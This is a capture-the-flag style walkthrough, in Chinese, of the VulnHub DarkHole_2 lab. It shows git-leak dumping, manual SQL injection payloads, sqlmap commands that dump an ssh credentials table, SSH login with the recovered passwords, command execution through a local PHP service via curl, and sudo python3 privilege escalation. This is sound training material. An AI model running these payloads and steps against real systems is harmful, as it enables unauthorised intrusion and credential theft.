DarkHole_2
一、靶场介绍
靶机下载地址:https://download.vulnhub.com/darkhole/darkhole_2.zip
这里一开始我用的是别人在云服务器上搭建好的靶机,后来ssh连接老是掉,就在自己电脑上搭建了一下,所以省去主机发现这一步了
二、端口扫描
在web页面发现一个登录页面
dirsearch -u "http://154.37.221.172:8080/" |
在扫描结果中看的很多关于git的相关页面
三、git泄露利用
pip3 install git-dumper |
先安装一下工具
git-dumper http://靶机ip:8080/.git/ 1 |
后面那个1是,文件存放路径
cd 1 # 切换git下的目录 |
发现账号和密码
321
四、sql注入
4.1、手注
利用获取到的账号和密码登录web页面,在url中看到id=1,尝试是否存在sql注入
万能密码尝试
1' and 1='1--+ |
1' and 1='2--+ |
将1改成2发现回显消失,是单引号闭合方式
有两个表,一个user表一个ssh表,这里语句是直接查询ssh表的
id=-1' union select 1,2,3,4,5,group_concat(user,0x2d,pass) from ssh--+ |
账号:jehad
密码:fool
4.2、sqlmap梭哈
使用sqlmap直接跑,会提示使用存在cookie注入,cookie检查->网络,可以看到cookie,抓包也行
sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 --current-db |
查看当前
sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 -D darkhole_2 --tables |
sqlmap -u "http://192.168.43.152/dashboard.php?id=1" --cookie PHPSESSID=ps82033ps5k6l6nt0eutktbdt2 -D darkhole_2 -T ssh --dump |
jehad
fool
五、ssh登录
ssh jehad@192.168.43.152 |
根据获取到的信息ssh登录,发现存在三个ssh登录权限
六、提权
6.1、历史命令查询
查看执行过的历史命令
history |
发现9999端口上跑的有一个服务
解码一下发现是个反弹shell的语句
6.2、查看端口
ss -antp |
发现9999端口确实正在跑一个服务
查看9999端口服务是什么,发现是个命令执行的权限
curl http://127.0.0.1:9999/?cmd=id |
6.3、定时任务
cat /etc/crontab |
发现存在一个定时任务,在opt/web目录下
php起9999端口服务
cd /opt/web/ |
发现存在一个php文件,查看网页代码,发现就是命令执行的代码
由于9999端口是losy用户执行的,可以使用这个来执行losy权限
curl "http://127.0.0.1:9999?cmd=cat%20/home/losy/.bash_history" |
记得将命令使用url编码一下
在最后一行,发现更改后的密码,密码为gang
6.4、sudo -l提权
su losy |
登录上losy用户
sudo -l |
发现python3可以使用sudo命令执行,直接sudo执行python3起个新的终端,获取到root权限
参考文章:靶机练习—–VulnHub-DarkHole_2 靶机详细渗透过程 - nebulapioneer - 博客园 (cnblogs.com)